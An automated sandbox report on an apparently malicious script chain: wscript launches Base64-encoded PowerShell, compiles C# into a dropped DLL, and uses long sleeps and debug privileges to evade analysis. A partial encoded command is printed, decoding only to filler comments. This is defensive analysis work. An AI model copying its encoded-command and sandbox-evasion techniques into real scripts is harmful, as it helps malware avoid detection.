Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_00FA2F52 push FFFFFF8Bh; iretd 18_2_00FA2F54
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_00FA12A1 push es; ret 18_2_00FA12B0
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.dll Jump to dropped file
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1083 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 838 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1792 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1792 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.dll Jump to dropped file
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000012.00000002.800533822.0000000004ABB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: k:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000012.00000002.800533822.0000000004ABB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Disdai Dishuma5 Sort TAFFE Crampoond GRUNTINGB Preambulat3 Assimil6 Fursemideb Furiensdec Alarmure2 Chorib HUMO FISTELSTEM Stege chesse barrymor Anngrethe3 #Remingli4 ernr Bespyt Sulphozin8 VIRGULA IFRD Fore Pluralveks1 Profilenu nonfo Injust9 Nourishmen3 tomahavken Essay1 BLAA transmog hulk inlaye #kvar Kobangfor6 Hyperarc6 GARDEROBEN Oncosphere Bunglin BARYT TOMASTE CORROBORAT CYKELPAR Stadslg3 Bacilleb BLURTIN administr Milieub3 Bladele8 apometab #Peal8 King9 Opmrkerco IDELIGESI Systemat7 Preoper3 Reso SPAGNUM Land reckoni depraver fartjsfort LANN Griffonag3 AFSE hjsd analysearb AMULAS #unjolly Instrumen GLALIINGL Resoap Womani Leggier5 UNBREAKING Orillio adrea ALTOLAT Fago2 Inflammat6 COCKNEYDOM SYMPOSI gravereu FORUD FASTRESFI Kontrol SKRLEV ANALYTIKER UNCR Sortsr vidnefrs EOCARBO Takt Betvivler3 Velar #Revancher Wordables lousierma indlogrbrn Atta REBLOWNGU QUEBRITHC GRNSEOVERG frytlernes LEMPELIGES #andelss Camballm4 Sortering Lngstleven outboxe SIGNIFICAT Mana DUNKARD Unscor tronb hypohemiag MATTESTE engros Feri2 UNCONVE Mindstehj Nitrogen chev Korp6 stted miskred umenneske Galoplo Udskriv2 MAGNETOMET TRILLIONTH HAARBRSTE Immatc6 drueh Ssla Countryro2 Nonex #Alisphen sula idmmel Tribrac2 Tilegnel Unde dksd tujasur Circ8 Broo Appe1 Oksehude netstroem Teknolog2 klore BALLADR UNFLUTTERE boyko Tilbringe physi FELWO Generisktv5 Sukke Lodgeart3 #Unevada Enceph2 poleremi zakariass scoll Boatl7 Samar Hutchi acetanion INTE Stubb alde Lambk Nonretra Skan
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Disdai Dishuma5 Sort TAFFE Crampoond GRUNTINGB Preambulat3 Assimil6 Fursemideb Furiensdec Alarmure2 Chorib HUMO FISTELSTEM Stege chesse barrymor Anngrethe3 #Remingli4 ernr Bespyt Sulphozin8 VIRGULA IFRD Fore Pluralveks1 Profilenu nonfo Injust9 Nourishmen3 tomahavken Essay1 BLAA transmog hulk inlaye #kvar Kobangfor6 Hyperarc6 GARDEROBEN Oncosphere Bunglin BARYT TOMASTE CORROBORAT CYKELPAR Stadslg3 Bacilleb BLURTIN administr Milieub3 Bladele8 apometab #Peal8 King9 Opmrkerco IDELIGESI Systemat7 Preoper3 Reso SPAGNUM Land reckoni depraver fartjsfort LANN Griffonag3 AFSE hjsd analysearb AMULAS #unjolly Instrumen GLALIINGL Resoap Womani Leggier5 UNBREAKING Orillio adrea ALTOLAT Fago2 Inflammat6 COCKNEYDOM SYMPOSI gravereu FORUD FASTRESFI Kontrol SKRLEV ANALYTIKER UNCR Sortsr vidnefrs EOCARBO Takt Betvivler3 Velar #Revancher Wordables lousierma indlogrbrn Atta REBLOWNGU QUEBRITHC GRNSEOVERG frytlernes LEMPELIGES #andelss Camballm4 Sortering Lngstleven outboxe SIGNIFICAT Mana DUNKARD Unscor tronb hypohemiag MATTESTE engros Feri2 UNCONVE Mindstehj Nitrogen chev Korp6 stted miskred umenneske Galoplo Udskriv2 MAGNETOMET TRILLIONTH HAARBRSTE Immatc6 drueh Ssla Countryro2 Nonex #Alisphen sula idmmel Tribrac2 Tilegnel Unde dksd tujasur Circ8 Broo Appe1 Oksehude netstroem Teknolog2 klore BALLADR UNFLUTTERE boyko Tilbringe physi FELWO Generisktv5 Sukke Lodgeart3 #Unevada Enceph2 poleremi zakariass scoll Boatl7 Samar Hutchi acetanion INTE Stubb alde Lambk Nonretra Skan Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGY